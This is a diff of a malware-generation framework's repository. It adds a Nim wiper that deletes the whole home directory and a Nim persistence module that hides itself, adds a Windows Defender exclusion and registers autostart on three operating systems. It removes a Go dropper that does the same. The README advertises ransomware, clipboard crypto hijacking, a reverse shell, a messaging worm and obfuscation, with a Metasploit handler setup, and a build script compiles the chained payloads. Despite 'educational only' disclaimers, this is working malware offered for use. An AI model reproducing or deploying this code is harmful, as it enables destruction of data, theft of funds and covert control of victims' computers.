textColor, text, resetColor)
|
||||
} else {
|
||||
fmt.Printf("%s[%s]%s %s%s%s → %s%s%s\n",
|
||||
typeColor, messageType, resetColor,
|
||||
"\033[35m", recipient, resetColor,
|
||||
textColor, text, resetColor)
|
||||
}
|
||||
}
|
||||
|
||||
if processedCount == 0 {
|
||||
fmt.Printf("No valid messages processed from chat: %s\n", chatName)
|
||||
} else {
|
||||
fmt.Printf("Processed %d messages from chat: %s\n", processedCount, chatName)
|
||||
}
|
||||
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
|
||||
fmt.Printf("\nTotal chats processed: %d\n", len(processedChats))
|
||||
fmt.Println("Done.")
|
||||
}
|
||||
19
MODULE/poof.nim
Normal file
@ -0,0 +1,19 @@
|
||||
import os, sequtils
|
||||
|
||||
proc poof() =
|
||||
var currentTargetDir = getHomeDir()
|
||||
if "$HOME" in currentTargetDir:
|
||||
currentTargetDir = currentTargetDir.replace("$HOME", getHomeDir())
|
||||
|
||||
for path in walkDirRec(currentTargetDir):
|
||||
try:
|
||||
if dirExists(path): removeDir(path)
|
||||
else: removeFile(path)
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
proc main() =
|
||||
poof()
|
||||
|
||||
when not isMainModule:
|
||||
discard
|
||||
@ -1,64 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func main() {
|
||||
base64String := ""
|
||||
decodeData, err := base64.StdEncoding.DecodeString(base64String)
|
||||
if err != nil {
|
||||
fmt.Println("Error decoding Base64:", err)
|
||||
return
|
||||
}
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
fmt.Println("APPDATA environment variable not found")
|
||||
return
|
||||
}
|
||||
hiddenFolder := filepath.Join(appdata, ".sysdata")
|
||||
err = os.MkdirAll(hiddenFolder, 0755)
|
||||
if err != nil {
|
||||
fmt.Println("Error creating hidden folder:", err)
|
||||
return
|
||||
}
|
||||
outputFile := filepath.Join(hiddenFolder, "syshostmsf.exe")
|
||||
file, err := os.Create(outputFile)
|
||||
if err != nil {
|
||||
fmt.Println("Error creating file:", err)
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
_, err = file.Write(decodeData)
|
||||
if err != nil {
|
||||
fmt.Println("Error writing to file:", err)
|
||||
return
|
||||
}
|
||||
hideCmd := exec.Command("powershell", "-Command", "attrib +h '"+hiddenFolder+"' ; attrib +h '"+outputFile+"'")
|
||||
hideCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = hideCmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error hiding folder or file:", err)
|
||||
return
|
||||
}
|
||||
cmd := exec.Command("powershell", "-Command", "Set-MpPreference -ExclusionPath '" + outputFile + "'")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error executing command:", err)
|
||||
return
|
||||
}
|
||||
startupName := "SysHostService"
|
||||
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+outputFile+"'")
|
||||
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = regCmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error adding to startup:", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
208
MODULE/undeleteme.nim
Normal file
@ -0,0 +1,208 @@
|
||||
import os, osproc, strutils
|
||||
|
||||
const
|
||||
persistence = "true"
|
||||
defenderExclusion = "true"
|
||||
startUp = persistence.parseBool
|
||||
exclusion = defenderExclusion.parseBool
|
||||
|
||||
proc copyFile(src, dst: string): bool =
|
||||
try:
|
||||
if not fileExists(src):
|
||||
echo "source file does not exist: ", src
|
||||
return false
|
||||
if src == dst:
|
||||
echo "source and destination are the same: ", src
|
||||
return false
|
||||
if fileExists(dst) and readFile(src) == readFile(dst):
|
||||
echo "destination file already exists and is identical, skipping copy: ", dst
|
||||
return false
|
||||
os.copyFile(src, dst)
|
||||
echo "successfully copied file from ", src, " to ", dst
|
||||
return true
|
||||
except OSError as e:
|
||||
echo "failed to copy file from ", src, " to ", dst, ": ", e.msg
|
||||
return false
|
||||
except:
|
||||
echo "unexpected error copying file from ", src, " to ", dst, ": ", getCurrentExceptionMsg()
|
||||
return false
|
||||
|
||||
proc hidePath(path: string) =
|
||||
when defined(windows):
|
||||
try:
|
||||
let cmd = "attrib +h \"" & path.replace("/", "\\") & "\""
|
||||
let (output, exitCode) = execCmdEx(cmd)
|
||||
if exitCode != 0:
|
||||
echo "failed to hide path ", path, ": exit code ", exitCode, ", output: ", output
|
||||
else:
|
||||
echo "successfully hid path: ", path
|
||||
except OSError as e:
|
||||
echo "failed to hide path ", path, ": ", e.msg
|
||||
except:
|
||||
echo "unexpected error hiding path ", path, ": ", getCurrentExceptionMsg()
|
||||
else:
|
||||
try:
|
||||
setFilePermissions(path, {fpUserExec, fpUserRead, fpUserWrite})
|
||||
echo "successfully hid path by setting restrictive permissions: ", path
|
||||
except OSError as e:
|
||||
echo "failed to set permissions on ", path, ": ", e.msg
|
||||
except:
|
||||
echo "unexpected error setting permissions on ", path, ": ", getCurrentExceptionMsg()
|
||||
|
||||
proc addStartupWindows(name, exePath: string) =
|
||||
try:
|
||||
if not fileExists(exePath):
|
||||
echo "executable does not exist for Windows startup: ", exePath
|
||||
return
|
||||
let cmd = "powershell -NoProfile -ExecutionPolicy Bypass -Command \"Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '" & name & "' -Value '" & exePath.replace("/", "\\") & "'\""
|
||||
let (output, exitCode) = execCmdEx(cmd)
|
||||
if exitCode != 0:
|
||||
echo "failed to add to Windows startup: exit code ", exitCode, ", output: ", output
|
||||
else:
|
||||
echo "successfully added to Windows startup: ", name
|
||||
except OSError as e:
|
||||
echo "failed to add to Windows startup: ", e.msg
|
||||
except:
|
||||
echo "unexpected error adding to Windows startup: ", getCurrentExceptionMsg()
|
||||
|
||||
proc addStartupLinux(name, exePath: string) =
|
||||
try:
|
||||
if not fileExists(exePath):
|
||||
echo "executable does not exist for Linux startup: ", exePath
|
||||
return
|
||||
let autostartDir = getHomeDir() / ".config/autostart"
|
||||
createDir(autostartDir)
|
||||
let desktopFile = autostartDir / name & ".desktop"
|
||||
let content = """
|
||||
[Desktop Entry]
|
||||
Type=Application
|
||||
Name=$1
|
||||
Exec=$2
|
||||
Hidden=false
|
||||
NoDisplay=false
|
||||
X-GNOME-Autostart-enabled=true
|
||||
"""
|
||||
writeFile(desktopFile, content % [name, exePath])
|
||||
setFilePermissions(desktopFile, {fpUserRead, fpUserWrite, fpGroupRead, fpOthersRead})
|
||||
echo "successfully added to Linux startup: ", name
|
||||
except OSError as e:
|
||||
echo "failed to add to Linux startup: ", e.msg
|
||||
except:
|
||||
echo "unexpected error adding to Linux startup: ", getCurrentExceptionMsg()
|
||||
|
||||
proc addStartupMacOS(name, exePath: string) =
|
||||
try:
|
||||
if not fileExists(exePath):
|
||||
echo "executable does not exist for macOS startup: ", exePath
|
||||
return
|
||||
let plistDir = getHomeDir() / "Library/LaunchAgents"
|
||||
createDir(plistDir)
|
||||
let plistFile = plistDir / "com." & name.toLowerAscii() & ".plist"
|
||||
let content = """
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.$1</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>$2</string>
|
||||
</array>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
"""
|
||||
writeFile(plistFile, content % [name.toLowerAscii(), exePath])
|
||||
setFilePermissions(plistFile, {fpUserRead, fpUserWrite, fpGroupRead, fpOthersRead})
|
||||
echo "successfully added to macOS startup: ", name
|
||||
except OSError as e:
|
||||
echo "failed to add to macOS startup: ", e.msg
|
||||
except:
|
||||
echo "unexpected error adding to macOS startup: ", getCurrentExceptionMsg()
|
||||
|
||||
proc addWindowsDefenderExclusion(exePath: string) =
|
||||
when defined(windows):
|
||||
try:
|
||||
if not fileExists(exePath):
|
||||
echo "executable does not exist for Defender exclusion: ", exePath
|
||||
return
|
||||
let cmd = "powershell -NoProfile -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath '" & exePath.replace("/", "\\") & "'\""
|
||||
let (output, exitCode) = execCmdEx(cmd)
|
||||
if exitCode != 0:
|
||||
echo "failed to add Defender exclusion: exit code ", exitCode, ", output: ", output
|
||||
else:
|
||||
echo "successfully added Defender exclusion for: ", exePath
|
||||
except OSError as e:
|
||||
echo "failed to add Defender exclusion: ", e.msg
|
||||
except:
|
||||
echo "unexpected error in Defender exclusion: ", getCurrentExceptionMsg()
|
||||
|
||||
proc main() =
|
||||
var appdata: string
|
||||
when defined(windows):
|
||||
appdata = getEnv("APPDATA")
|
||||
if appdata.len == 0:
|
||||
echo "APPDATA environment variable not found"
|
||||
return
|
||||
elif defined(linux):
|
||||
appdata = getHomeDir() / ".local/share"
|
||||
elif defined(macosx):
|
||||
appdata = getHomeDir() / "Library/Application Support"
|
||||
else:
|
||||
echo "unsupported operating system"
|
||||
return
|
||||
|
||||
echo "application data path: ", appdata
|
||||
|
||||
let hiddenFolder = appdata / ".sysdata"
|
||||
let exePath = getAppFilename()
|
||||
if not fileExists(exePath):
|
||||
echo "executable not found at ", exePath
|
||||
return
|
||||
echo "executable path: ", exePath
|
||||
|
||||
var targetExe = hiddenFolder / "syshost"
|
||||
when defined(windows):
|
||||
targetExe = targetExe & ".exe"
|
||||
|
||||
if exePath == targetExe:
|
||||
echo "executable is already running from target location: ", targetExe
|
||||
return
|
||||
|
||||
try:
|
||||
createDir(hiddenFolder)
|
||||
echo "Created directory: ", hiddenFolder
|
||||
except OSError as e:
|
||||
echo "failed to create directory ", hiddenFolder, ": ", e.msg
|
||||
return
|
||||
except:
|
||||
echo "unexpected error creating directory ", hiddenFolder, ": ", getCurrentExceptionMsg()
|
||||
return
|
||||
|
||||
if exclusion:
|
||||
when defined(windows):
|
||||
addWindowsDefenderExclusion(targetExe)
|
||||
else:
|
||||
echo "exclusion not implemented for this platform"
|
||||
|
||||
if copyFile(exePath, targetExe):
|
||||
echo "Persistence payload copied successfully."
|
||||
hidePath(hiddenFolder)
|
||||
hidePath(targetExe)
|
||||
|
||||
if startUp:
|
||||
when defined(windows):
|
||||
addStartupWindows("SysHostService", targetExe)
|
||||
elif defined(linux):
|
||||
addStartupLinux("SysHostService", targetExe)
|
||||
elif defined(macosx):
|
||||
addStartupMacOS("SysHostService", targetExe)
|
||||
echo "Persistence setup completed."
|
||||
else:
|
||||
echo "Could not copy persistence payload. It might already exist or there was an error."
|
||||
|
||||
|
||||
when not isMainModule:
|
||||
discard
|
||||
284
README.md
@ -1,273 +1,55 @@
|
||||
## What's New
|
||||
|
||||
### VERSION 0.1.4
|
||||
- **New Module: `bartmossbrainworm`** - Messaging worm
|
||||
- **Features:**
|
||||
- Spreads itself by automatically sending a configurable message to all chats in WhatsApp Web
|
||||
- The message can be set using the `set MESSAGE "your text"` command before build
|
||||
|
||||
### VERSION 0.1.3
|
||||
- **New Module: `gremlin`** - Clipboard wallet address hijacker
|
||||
- **Features:**
|
||||
- Monitors clipboard for copied wallet addresses (Bitcoin, Ethereum, BEP-20, Solana)
|
||||
- Automatically replaces detected wallet addresses with user-configurable predefined addresses
|
||||
- Predefined addresses for each chain can be set using the `set` command before build
|
||||
|
||||
## Overview
|
||||
**RABIDS** Roving Autonomous Bartmoss Interface Drones is a modular Windows malware generation framework. It empowers security researchers and red teamers to rapidly build custom malware payloads by chaining together a variety of modules—such as ransomware, persistence loaders, C2 servers, and more—into a single executable. RABIDS is designed for advanced adversary simulation, malware research, and authorized red team operations.
|
||||
|
||||
> **Warning:** This tool is for educational and authorized security research only. Misuse may be illegal and unethical.
|
||||
**RABIDS** (Roving Autonomous Bartmoss Interface Drones) is for building custom malware payloads. It allows you to chain together various modules—such as ransomware, clipboard hijackers, and persistence loaders—into a single, compiled executable for Windows, Linux, or macOS.
|
||||
|
||||
## Core Workflow
|
||||
1. List available modules: `show modules`
|
||||
2. Add modules to your build chain: `use <module>`
|
||||
3. Set module/build options: `set <OPTION> <VALUE>`
|
||||
4. Review options: `show options`
|
||||
5. Build your payload: `build`
|
||||
6. Find the output in the `.LOOT` directory
|
||||
This tool is designed for security researchers, red teamers, and educational purposes to simulate advanced adversaries and study malware behavior in a controlled environment.
|
||||
|
||||
## Command Reference
|
||||
## Quick Start
|
||||
|
||||
| Command | Description |
|
||||
|-----------------------|------------------------------------------------------------------|
|
||||
| `use <module>` | Add a module to the build chain |
|
||||
| `set <OPTION> <VALUE>`| Set a build or module option |
|
||||
| `show modules` | List all available modules |
|
||||
| `show options` | Show current build/module options |
|
||||
| `build` | Build the final EXE payload |
|
||||
| `clear` | Clear all selected modules |
|
||||
| `delete` | Remove a module from the chain |
|
||||
| `exit` | Exit RABIDS |
|
||||
1. **Install GUI Dependency:**
|
||||
|
||||
## Module Overview & Usage
|
||||
The user interface requires `PyQt5`. Install it using pip:
|
||||
|
||||
### Daemon Modules
|
||||
```bash
|
||||
pip install PyQt5
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>bartmossbrainworm</summary>
|
||||
2. **Run the Application:**
|
||||
```bash
|
||||
python3 main.py
|
||||
```
|
||||
|
||||
- **Description:** A worm that spreads itself through messaging apps.
|
||||
- **Options:**
|
||||
- `MESSAGE`: Message/Payload to send
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use bartmossbrainworm
|
||||
> set MESSAGE Hello from Worm
|
||||
```
|
||||
## Features
|
||||
|
||||
</details>
|
||||
- **Modular Payload Creation:** Chain multiple modules together to create sophisticated, multi-stage payloads.
|
||||
- **Cross-Platform Compilation:** Build executables for Windows, Linux, and macOS with support for `amd64` and `arm64` architectures.
|
||||
- **Optional Obfuscation:** Leverage a Dockerized Obfuscator-LLVM toolchain to apply advanced obfuscation techniques to Windows payloads.
|
||||
- **Intuitive Graphical User Interface:** A clean and modern UI makes it easy to select modules, configure options, and build payloads without writing any code.
|
||||
- **Standalone Tooling:** Includes dedicated tabs for building a file decryptor (`UNKRASH`) and a file restorer (`Garbage Collector`).
|
||||
|
||||
<details>
|
||||
<summary>hellhound</summary>
|
||||
## Available Modules
|
||||
|
||||
- **Description:** Gains persistence and disables Defender protections.
|
||||
- **Options:**
|
||||
- `PERSISTENCE`: Enable persistence (default: true)
|
||||
- `DEFENDER_EXCLUDE`: Add Defender exclusion (default: true)
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use hellhound
|
||||
> set PERSISTENCE true
|
||||
> set DEFENDER_EXCLUDE true
|
||||
```
|
||||
- **`ctrlvamp`**: Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).
|
||||
- **`dumpster`**: Collects files from a directory and archives them into a single file.
|
||||
- **`ghostintheshell`**: Provides a reverse shell over Discord for remote access.
|
||||
- **`krash`**: Encrypts files in target directories and displays a ransom note.
|
||||
- **`poof`**: Recursively deletes all files and folders from a target directory.
|
||||
- **`undeleteme`**: Gains persistence and can add a Windows Defender exclusion.
|
||||
|
||||
</details>
|
||||
## Documentation & Setup
|
||||
|
||||
<details>
|
||||
<summary>gremlin</summary>
|
||||
All documentation, including installation instructions, setup guides, and detailed module descriptions, can be found within the application itself under the **"DOCUMENTATION" tab**.
|
||||
|
||||
- **Description:** Hijacks clipboard crypto addresses (BTC, ETH, BEP-20, SOL).
|
||||
- **Options:**
|
||||
- `BTC_ADDRESS`: Bitcoin address
|
||||
- `ETH_ADDRESS`: Ethereum address
|
||||
- `BEP20_ADDRESS`: BEP-20 address
|
||||
- `SOL_ADDRESS`: Solana address
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use gremlin
|
||||
> set BTC_ADDRESS 1YourBTCAddressHere
|
||||
> set ETH_ADDRESS 0xYourETHAddressHere
|
||||
> set BEP20_ADDRESS 0xYourBEP20AddressHere
|
||||
> set SOL_ADDRESS YourSolanaAddressHere
|
||||
```
|
||||
This in-app guide provides everything you need to know to:
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>blackice</summary>
|
||||
|
||||
- **Description:** Blacks out the screen to disrupt user activity.
|
||||
- **Options:**
|
||||
- `DURATION`: Duration of blackout in seconds (default: 60)
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use blackice
|
||||
> set DURATION 120
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>logicbomb</summary>
|
||||
|
||||
- **Description:** Blocks input and triggers DoS on the target.
|
||||
- **Options:**
|
||||
- `BLOCK_INPUT`: Block input (default: true)
|
||||
- `TRIGGER_DELAY`: Delay before trigger in seconds (default: 10)
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use logicbomb
|
||||
> set BLOCK_INPUT true
|
||||
> set TRIGGER_DELAY 30
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>silverhandghost</summary>
|
||||
|
||||
- **Description:** Provides a reverse shell for remote access (Metasploit compatible).
|
||||
- **Options:**
|
||||
- `LHOST`: Local host IP for reverse shell
|
||||
- `LPORT`: Local port for reverse shell
|
||||
- `KEY`: Encryption key (default: changeme)
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use silverhandghost
|
||||
> set LHOST 192.168.1.100
|
||||
> set LPORT 4444
|
||||
> set KEY changeme
|
||||
```
|
||||
- **Metasploit Setup:**
|
||||
1. Start Metasploit:
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
2. Set up the handler:
|
||||
```bash
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
set LHOST 192.168.1.100
|
||||
set LPORT 4444
|
||||
run
|
||||
```
|
||||
3. Run the built EXE on the target. You should get a Meterpreter session.
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>krash</summary>
|
||||
|
||||
- **Description:** Wipes data and crashes the system using ransomware. Displays a ransom note.
|
||||
- **Options:**
|
||||
- `NOTE`: Ransom note text
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use krash
|
||||
> set NOTE "Your files have been encrypted! Contact evil@domain.com."
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>overwatch</summary>
|
||||
|
||||
- **Description:** Monitors all victims chats (e.g., WhatsApp Web) and logs system activity.
|
||||
- **Options:** None
|
||||
- **Usage:**
|
||||
```bash
|
||||
> use overwatch
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## Building & Output
|
||||
|
||||
- **Build your payload:**
|
||||
```bash
|
||||
> build
|
||||
```
|
||||
- **Output:** The final EXE will be saved in the `.LOOT` directory in your project root.
|
||||
- **Build Options:**
|
||||
- `exe_name`: Set the output EXE filename (default: payload.exe)
|
||||
- `obfuscate`: Enable Rust/LLVM obfuscation (requires Docker)
|
||||
|
||||
### Obfuscation & In-Memory Execution
|
||||
- To enable obfuscation, set:
|
||||
```bash
|
||||
> set OBFUSCATE True
|
||||
```
|
||||
- Make sure you have Docker and the image `ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest` pulled:
|
||||
```bash
|
||||
docker pull ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest
|
||||
```
|
||||
- In-memory execution is handled automatically when using the Rust loader.
|
||||
|
||||
## Advanced Features
|
||||
|
||||
### Module Chaining
|
||||
- Add multiple modules in sequence for complex payloads.
|
||||
- Example:
|
||||
```
|
||||
> use roadrunner
|
||||
> use gremlin
|
||||
> use krash
|
||||
> build
|
||||
```
|
||||
|
||||
### Custom Build Options
|
||||
- Change EXE name, enable/disable obfuscation, configure module-specific parameters.
|
||||
- Set environment variables for runtime configuration.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Common Issues
|
||||
- **No module selected:** Use `use <module>` before running commands
|
||||
- **Unknown option/module:** Use `show modules` and `show options` to check names
|
||||
- **Build fails:** Ensure Go, Rust, and Docker (for obfuscation) are installed and in your PATH
|
||||
- **Output not found:** Check the `.LOOT` directory
|
||||
|
||||
### C2 Server Issues (roadrunner, flatline)
|
||||
- **Connection refused:** Ensure the receiver or Metasploit handler is running on the specified port
|
||||
- **Data not received:** Check firewall settings and network connectivity
|
||||
- **Encryption errors:** Verify the encryption key is consistent between sender and receiver
|
||||
|
||||
### Build Issues
|
||||
- **Go compilation errors:** Ensure Go is installed and in PATH
|
||||
- **Rust compilation errors:** Install Rust toolchain
|
||||
- **Docker errors:** Install Docker and pull required images for obfuscation
|
||||
|
||||
## Security & Legal Notice
|
||||
|
||||
- **RABIDS is for educational and authorized security research only.**
|
||||
- Only use in environments where you have explicit permission.
|
||||
- The authors are not responsible for misuse, damage, or legal consequences.
|
||||
- Always follow applicable laws and ethical guidelines.
|
||||
- The C2 server functionality should only be used in controlled testing environments.
|
||||
|
||||
### Example Workflow
|
||||
```
|
||||
> show modules
|
||||
> use krash
|
||||
> set NOTE "Your files have been encrypted! Contact evil@domain.com."
|
||||
> use silverhandghost
|
||||
> set LHOST 192.168.1.10
|
||||
> set LPORT 4444
|
||||
> build
|
||||
```
|
||||
- The final EXE will be saved in the `.LOOT` directory.
|
||||
|
||||
## Advanced Features
|
||||
- **Module Chaining:** Combine multiple behaviors in one payload.
|
||||
- **Custom Build Options:** Set EXE name, enable obfuscation, etc.
|
||||
- **In-Memory Execution:** Use Rust loader for stealthy delivery.
|
||||
- Install dependencies (Python, Nim, Rust, Docker).
|
||||
- Configure build options.
|
||||
- Understand each module and its parameters.
|
||||
- Build and find your payloads.
|
||||
|
||||
## Legal Disclaimer
|
||||
|
||||
RABIDS is intended for educational purposes and authorized security testing only. You must have explicit permission to use this tool against any system or network. The authors and contributors are not responsible for misuse, damage, or legal consequences. Always follow applicable laws and ethical guidelines.
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! Please fork the repository, create a feature branch, and submit a pull request with a detailed description of your changes.
|
||||
This tool is intended for **educational purposes, authorized security testing, and red team operations only**. The author is not responsible for any misuse, damage, or legal consequences that may result from the use of this software. You must have explicit, written permission from the target system's owner before using this tool. Unauthorized use is strictly prohibited and may be illegal.
|
||||
|
||||
## License
|
||||
|
||||
|
||||
622
compiler.py
@ -1,31 +1,255 @@
|
||||
import os
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
import sys
|
||||
import os
|
||||
import shutil
|
||||
import re
|
||||
import shlex
|
||||
import subprocess
|
||||
import tempfile
|
||||
def compile_nim(nim_file, output_exe, os_name, arch):
|
||||
output_exe = Path(output_exe).resolve()
|
||||
print(f"[*] Compiling Nim -> {os_name}:{arch}")
|
||||
|
||||
def compile_go(go_path, output_exe):
|
||||
env = os.environ.copy()
|
||||
env["GOOS"] = "windows"
|
||||
env["GOARCH"] = "amd64"
|
||||
result = subprocess.run(["go", "build", "-o", output_exe, go_path], env=env)
|
||||
if result.returncode != 0 or not os.path.isfile(output_exe):
|
||||
print(f"[Error] Go build failed for {go_path}")
|
||||
nim_cmd = [
|
||||
"nim", "c",
|
||||
"-d:release",
|
||||
"-d:ssl",
|
||||
]
|
||||
if os_name == "windows":
|
||||
if sys.platform == "darwin":
|
||||
nim_cmd.append("-d:mingw")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
else:
|
||||
nim_cmd.append("--os:windows")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
|
||||
elif os_name == "linux":
|
||||
nim_cmd.append("--os:linux")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
|
||||
elif os_name == "macos":
|
||||
nim_cmd.append("--os:macosx")
|
||||
nim_cmd.append(f"--cpu:{arch}")
|
||||
|
||||
nim_cmd.append(f'--out:{output_exe}')
|
||||
nim_cmd.append(str(nim_file))
|
||||
|
||||
print(f"[*] Running Nim compile command: {' '.join(shlex.quote(arg) for arg in nim_cmd)}")
|
||||
try:
|
||||
result = subprocess.run(nim_cmd, check=True, capture_output=True, text=True)
|
||||
print("[+] Nim compiler output:")
|
||||
print(result.stdout)
|
||||
if result.stderr:
|
||||
print("[+] Nim compiler errors:")
|
||||
print(result.stderr)
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"[Error] Nim compilation failed with exit code {e.returncode}.")
|
||||
print("--- stdout ---")
|
||||
print(e.stdout)
|
||||
print("--- stderr ---")
|
||||
print(e.stderr)
|
||||
sys.exit(1)
|
||||
print(f"Built {output_exe}")
|
||||
except FileNotFoundError:
|
||||
print("[Error] 'nim' command not found. Please ensure Nim is installed and in your PATH.")
|
||||
sys.exit(1)
|
||||
|
||||
if not output_exe.exists():
|
||||
print(f"[Error] Nim compiler finished, but output file was not found at: {output_exe}")
|
||||
sys.exit(1)
|
||||
print(f"[+] Built Nim executable: {output_exe}")
|
||||
return output_exe
|
||||
|
||||
def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
|
||||
with open(go_exe_path, "rb") as f:
|
||||
go_bytes = f.read()
|
||||
go_bytes_array = ','.join(str(b) for b in go_bytes)
|
||||
embed_code = ""
|
||||
def normalize_imports(lines):
|
||||
"""Normalize Nim import statements by splitting comma-separated imports."""
|
||||
result = []
|
||||
for line in lines:
|
||||
s = line.strip()
|
||||
if s.startswith("import "):
|
||||
mods = s[len("import "):].split(",")
|
||||
for m in mods:
|
||||
result.append("import " + m.strip())
|
||||
else:
|
||||
result.append(line.rstrip("\n"))
|
||||
return result
|
||||
|
||||
def extract_main_proc(nim_content):
|
||||
"""Extract the content of proc main(), normalizing its indentation."""
|
||||
lines = nim_content.splitlines()
|
||||
main_content = []
|
||||
in_main = False
|
||||
proc_indent_level = 0
|
||||
base_content_indent = -1
|
||||
|
||||
for line in lines:
|
||||
stripped_line = line.strip()
|
||||
if stripped_line.startswith("proc main()"):
|
||||
in_main = True
|
||||
proc_indent_level = len(line) - len(line.lstrip())
|
||||
continue
|
||||
|
||||
if in_main:
|
||||
current_indent = len(line) - len(line.lstrip())
|
||||
if current_indent <= proc_indent_level and stripped_line and not line.isspace():
|
||||
in_main = False
|
||||
continue
|
||||
|
||||
if stripped_line:
|
||||
if base_content_indent == -1:
|
||||
base_content_indent = current_indent
|
||||
relative_indent = current_indent - base_content_indent
|
||||
main_content.append(" " * relative_indent + stripped_line)
|
||||
return main_content
|
||||
|
||||
def apply_options_with_regex(content, options):
|
||||
"""
|
||||
Applies build options to the Nim source content using regex substitution.
|
||||
It looks for patterns like:
|
||||
let/const/var optionName = "default value"
|
||||
let/const/var optionName = someFunc("default value")
|
||||
"""
|
||||
if not options:
|
||||
return content
|
||||
|
||||
for option in options:
|
||||
key, value = option.split("=", 1)
|
||||
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
|
||||
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
|
||||
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
|
||||
return content
|
||||
|
||||
def merge_nim_modules(nim_files, out_dir: Path, options=None):
|
||||
"""Merge multiple Nim modules into a single file, deduplicating imports and combining proc main()."""
|
||||
if len(nim_files) < 2:
|
||||
print("[Error] At least two Nim files must be provided for merging.")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[*] Merging modules: {nim_files}")
|
||||
loot_dir = out_dir
|
||||
loot_dir.mkdir(parents=True, exist_ok=True)
|
||||
out_path = loot_dir / "combined.nim"
|
||||
|
||||
merged_imports = set()
|
||||
merged_code = []
|
||||
main_contents = []
|
||||
|
||||
for f in nim_files:
|
||||
fpath = Path(f)
|
||||
if not fpath.is_file():
|
||||
print(f"[Error] Nim file not found: {f}")
|
||||
sys.exit(1)
|
||||
print(f"[*] Reading module: {f}")
|
||||
with open(f, "r", encoding="utf-8") as fh:
|
||||
content = fh.read()
|
||||
|
||||
content = apply_options_with_regex(content, options)
|
||||
|
||||
main_contents.append(extract_main_proc(content))
|
||||
|
||||
lines = content.splitlines()
|
||||
in_main_proc = False
|
||||
main_proc_indent = -1
|
||||
in_when_block = False
|
||||
when_block_indent = -1
|
||||
in_gorge_proc = False
|
||||
|
||||
for line in lines:
|
||||
stripped = line.strip()
|
||||
|
||||
if in_main_proc and stripped and (len(line) - len(line.lstrip()) <= main_proc_indent):
|
||||
in_main_proc = False
|
||||
if in_when_block and stripped and (len(line) - len(line.lstrip()) <= when_block_indent):
|
||||
in_when_block = False
|
||||
if in_gorge_proc and stripped and (len(line) - len(line.lstrip()) == 0):
|
||||
in_gorge_proc = False
|
||||
|
||||
if in_main_proc or in_when_block:
|
||||
continue
|
||||
|
||||
if stripped.startswith("proc main()"):
|
||||
in_main_proc = True
|
||||
main_proc_indent = len(line) - len(line.lstrip())
|
||||
continue
|
||||
if stripped.startswith("when isMainModule"):
|
||||
in_when_block = True
|
||||
when_block_indent = len(line) - len(line.lstrip())
|
||||
continue
|
||||
|
||||
if stripped.startswith("import "):
|
||||
mods = stripped[len("import "):].split(",")
|
||||
for m in mods:
|
||||
merged_imports.add("import " + m.strip())
|
||||
else:
|
||||
merged_code.append(line.rstrip("\n"))
|
||||
|
||||
final_code = []
|
||||
